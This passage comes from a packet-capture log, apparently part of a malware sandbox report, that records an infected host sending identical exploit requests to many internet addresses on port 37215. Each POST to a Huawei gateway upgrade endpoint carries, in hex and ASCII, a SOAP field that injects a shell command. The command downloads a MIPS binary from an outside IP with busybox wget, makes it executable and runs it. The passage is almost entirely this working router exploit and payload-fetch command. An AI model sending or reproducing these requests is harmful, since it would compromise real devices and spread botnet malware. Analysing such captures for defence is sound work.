6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.13	50966	156.110.2.110	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.183831930 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.13	59998	41.122.109.42	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.184598923 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.13	60220	41.94.153.112	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.185348988 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.13	53280	156.226.178.21	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.186101913 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.13	33396	41.55.41.178	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.186850071 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.13	46806	197.214.46.200	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.187604904 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.13	44576	197.152.159.10	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.188379049 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.13	58464	41.57.17.164	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.189174891 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.13	46504	197.0.201.185	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.190023899 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.13	32862	41.237.134.242	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.190865040 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.13	48406	41.226.55.109	37215

Timestamp	Bytes transferred	Direction	Data
